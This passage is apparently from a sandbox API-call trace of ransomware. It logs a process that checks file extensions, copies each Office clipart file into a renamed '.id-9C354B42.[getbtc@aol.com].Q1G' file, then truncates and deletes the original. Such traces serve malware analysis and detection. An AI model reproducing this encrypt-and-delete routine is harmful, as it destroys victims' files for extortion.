Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0258.072] lstrlenW (lpString=".1cd") returned 4 [0258.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0258.073] lstrlenW (lpString=".jpg") returned 4 [0258.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.073] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.073] lstrlenW (lpString="J0107138.WMF") returned 12 [0258.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.105] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=17200) returned 1 [0258.113] CloseHandle (hObject=0x394) returned 1 [0258.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf")) returned 0x20 [0258.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0258.310] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.310] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0258.311] GetLastError () returned 0x0 [0258.311] ReadFile (in: hFile=0x1f4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x4330, lpOverlapped=0x0) returned 1 [0258.351] WriteFile (in: hFile=0x398, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x4340, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x4340, lpOverlapped=0x0) returned 1 [0258.352] ReadFile (in: hFile=0x1f4, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.352] WriteFile (in: hFile=0x398, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.353] SetEndOfFile (hFile=0x398) returned 1 [0258.353] CloseHandle (hObject=0x398) returned 1 [0258.353] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.353] SetEndOfFile (hFile=0x1f4) returned 1 [0258.355] CloseHandle (hObject=0x1f4) returned 1 [0258.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf")) returned 1 [0258.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0258.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0258.356] lstrlenW (lpString=".doc") returned 4 [0258.356] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.356] lstrlenW (lpString=".docx") returned 5 [0258.356] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0258.356] lstrlenW (lpString=".pdf") returned 4 [0258.356] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.356] lstrlenW (lpString=".xls") returned 4 [0258.356] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.356] lstrlenW (lpString=".xlsx") returned 5 [0258.356] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0258.356] lstrlenW (lpString=".ppt") returned 4 [0258.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0258.356] lstrlenW (lpString=".zip") returned 4 [0258.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.356] lstrlenW (lpString=".rar") returned 4 [0258.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.356] lstrlenW (lpString=".bz2") returned 4 [0258.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.356] lstrlenW (lpString=".7z") returned 3 [0258.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0258.356] lstrlenW (lpString=".dbf") returned 4 [0258.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0258.356] lstrlenW (lpString=".1cd") returned 4 [0258.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0258.356] lstrlenW (lpString=".jpg") returned 4 [0258.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0258.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0258.357] lstrlenW (lpString=".doc") returned 4 [0258.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.357] lstrlenW (lpString=".docx") returned 5 [0258.357] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0258.357] lstrlenW (lpString=".pdf") returned 4 [0258.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.357] lstrlenW (lpString=".xls") returned 4 [0258.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.357] lstrlenW (lpString=".xlsx") returned 5 [0258.357] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0258.357] lstrlenW (lpString=".ppt") returned 4 [0258.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0258.357] lstrlenW (lpString=".zip") returned 4 [0258.358] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.358] lstrlenW (lpString=".rar") returned 4 [0258.358] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.358] lstrlenW (lpString=".bz2") returned 4 [0258.358] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.358] lstrlenW (lpString=".7z") returned 3 [0258.358] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0258.358] lstrlenW (lpString=".dbf") returned 4 [0258.358] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0258.358] lstrlenW (lpString=".1cd") returned 4 [0258.358] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF") returned 63 [0258.358] lstrlenW (lpString=".jpg") returned 4 [0258.358] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.358] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.358] lstrlenW (lpString="J0107182.WMF") returned 12 [0258.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.372] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=16100) returned 1 [0258.372] CloseHandle (hObject=0x390) returned 1 [0258.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf")) returned 0x20 [0258.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.377] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.377] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0258.378] GetLastError () returned 0x0 [0258.378] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x3ee4, lpOverlapped=0x0) returned 1 [0258.379] WriteFile (in: hFile=0x3b8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x3ef0, lpOverlapped=0x0) returned 1 [0258.380] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.380] WriteFile (in: hFile=0x3b8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.381] SetEndOfFile (hFile=0x3b8) returned 1 [0258.381] CloseHandle (hObject=0x3b8) returned 1 [0258.381] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.381] SetEndOfFile (hFile=0x390) returned 1 [0258.383] CloseHandle (hObject=0x390) returned 1 [0258.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.383] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf")) returned 1 [0258.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0258.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0258.384] lstrlenW (lpString=".doc") returned 4 [0258.384] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.384] lstrlenW (lpString=".docx") returned 5 [0258.384] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0258.384] lstrlenW (lpString=".pdf") returned 4 [0258.384] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.384] lstrlenW (lpString=".xls") returned 4 [0258.384] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.384] lstrlenW (lpString=".xlsx") returned 5 [0258.384] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0258.384] lstrlenW (lpString=".ppt") returned 4 [0258.384] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0258.384] lstrlenW (lpString=".zip") returned 4 [0258.384] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.384] lstrlenW (lpString=".rar") returned 4 [0258.384] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.384] lstrlenW (lpString=".bz2") returned 4 [0258.384] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.384] lstrlenW (lpString=".7z") returned 3 [0258.384] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0258.384] lstrlenW (lpString=".dbf") returned 4 [0258.384] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0258.384] lstrlenW (lpString=".1cd") returned 4 [0258.384] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0258.384] lstrlenW (lpString=".jpg") returned 4 [0258.384] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0258.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0258.384] lstrlenW (lpString=".doc") returned 4 [0258.384] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.385] lstrlenW (lpString=".docx") returned 5 [0258.385] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0258.385] lstrlenW (lpString=".pdf") returned 4 [0258.385] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.385] lstrlenW (lpString=".xls") returned 4 [0258.385] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.385] lstrlenW (lpString=".xlsx") returned 5 [0258.385] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0258.385] lstrlenW (lpString=".ppt") returned 4 [0258.385] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0258.385] lstrlenW (lpString=".zip") returned 4 [0258.385] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.385] lstrlenW (lpString=".rar") returned 4 [0258.385] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.385] lstrlenW (lpString=".bz2") returned 4 [0258.385] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.385] lstrlenW (lpString=".7z") returned 3 [0258.385] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0258.385] lstrlenW (lpString=".dbf") returned 4 [0258.385] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0258.385] lstrlenW (lpString=".1cd") returned 4 [0258.385] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0258.385] lstrlenW (lpString=".jpg") returned 4 [0258.385] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.385] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.385] lstrlenW (lpString="J0107188.WMF") returned 12 [0258.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.386] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=4536) returned 1 [0258.386] CloseHandle (hObject=0x390) returned 1 [0258.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf")) returned 0x20 [0258.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.386] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.386] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0258.387] GetLastError () returned 0x0 [0258.387] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x11b8, lpOverlapped=0x0) returned 1 [0258.389] WriteFile (in: hFile=0x3b8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x11c0, lpOverlapped=0x0) returned 1 [0258.389] ReadFile (in: hFile=0x390, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.390] WriteFile (in: hFile=0x3b8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.390] SetEndOfFile (hFile=0x3b8) returned 1 [0258.390] CloseHandle (hObject=0x3b8) returned 1 [0258.390] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.390] SetEndOfFile (hFile=0x390) returned 1 [0258.392] CloseHandle (hObject=0x390) returned 1 [0258.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.392] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf")) returned 1 [0258.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0258.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0258.393] lstrlenW (lpString=".doc") returned 4 [0258.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.393] lstrlenW (lpString=".docx") returned 5 [0258.393] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0258.393] lstrlenW (lpString=".pdf") returned 4 [0258.393] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.393] lstrlenW (lpString=".xls") returned 4 [0258.393] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.393] lstrlenW (lpString=".xlsx") returned 5 [0258.393] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0258.393] lstrlenW (lpString=".ppt") returned 4 [0258.393] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0258.393] lstrlenW (lpString=".zip") returned 4 [0258.393] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.393] lstrlenW (lpString=".rar") returned 4 [0258.393] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.393] lstrlenW (lpString=".bz2") returned 4 [0258.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.393] lstrlenW (lpString=".7z") returned 3 [0258.393] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0258.393] lstrlenW (lpString=".dbf") returned 4 [0258.393] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0258.393] lstrlenW (lpString=".1cd") returned 4 [0258.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0258.393] lstrlenW (lpString=".jpg") returned 4 [0258.393] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0258.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0258.393] lstrlenW (lpString=".doc") returned 4 [0258.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.393] lstrlenW (lpString=".docx") returned 5 [0258.394] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0258.394] lstrlenW (lpString=".pdf") returned 4 [0258.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.394] lstrlenW (lpString=".xls") returned 4 [0258.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.394] lstrlenW (lpString=".xlsx") returned 5 [0258.394] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0258.394] lstrlenW (lpString=".ppt") returned 4 [0258.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0258.394] lstrlenW (lpString=".zip") returned 4 [0258.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.394] lstrlenW (lpString=".rar") returned 4 [0258.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.394] lstrlenW (lpString=".bz2") returned 4 [0258.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.394] lstrlenW (lpString=".7z") returned 3 [0258.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0258.394] lstrlenW (lpString=".dbf") returned 4 [0258.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0258.394] lstrlenW (lpString=".1cd") returned 4 [0258.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0258.394] lstrlenW (lpString=".jpg") returned 4 [0258.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.394] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.394] lstrlenW (lpString="J0107192.WMF") returned 12 [0258.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 